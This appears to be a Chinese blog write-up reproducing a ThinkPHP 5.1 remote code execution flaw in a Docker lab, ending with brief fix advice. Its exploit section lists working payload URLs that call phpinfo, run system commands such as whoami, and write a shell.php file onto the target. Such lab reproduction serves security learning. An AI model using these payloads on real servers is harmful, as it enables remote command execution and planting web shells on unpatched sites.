thinkPHP5.1漏洞复现

0x01 前言

。。。

0x01 docker复现

这一块弄了好几天,一直不会用docker复现cms。

利用官方lamp镜像,一开始用的镜像的PHP版本是5.5的,但是thinkPHP5.1需要PHP5.6以上,一直没有成功,后来换了一个镜像PHP7.3的,成功了!!!

  1. 搜索lamp镜像
    docker search lamp
  2. 拉取镜像
    docker pull mattrayner/lamp
  3. 新建docker容器,并映射端口号
    docker run -d -p [host port]:[docker port][image]
  4. 查看运行中的docker容器
    docker ps -a
  5. 进入一个docker容器
    docker exec -it [container id] bash
  6. 拷贝本地文件到docker
    docker cp [本地路径] [container id]:[container 路径]
  7. 启动服务
    1
    2
    service apache2 start
    service mysql start

0x02 命令执行漏洞利用

漏洞环境

1
2
3
thinkPHP5.1.1
php 7.3 (必须5.6+)
靶机IP: 192.168.72.131:89

代码执行:

http://192.168.72.131:89/tp5.1/public/?s=index/\think\Request/input&filter=phpinfo&data=1

http://192.168.72.131:89/tp5.1/public/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

命令执行:

http://192.168.72.131:89/tp5.1/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=ls%20-l

http://192.168.72.131:89/tp5.1/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=whoami

文件写入:

http://192.168.72.131:89/tp5.1/public/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=%3C?php%20phpinfo();?%3E

访问:
http://192.168.72.131:89/tp5.1/public/shell.php

0x03 漏洞修复

  1. 更新thinkPHP版本
  2. 手工修复
    根据官方给出的方案进行代码修改。
    https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776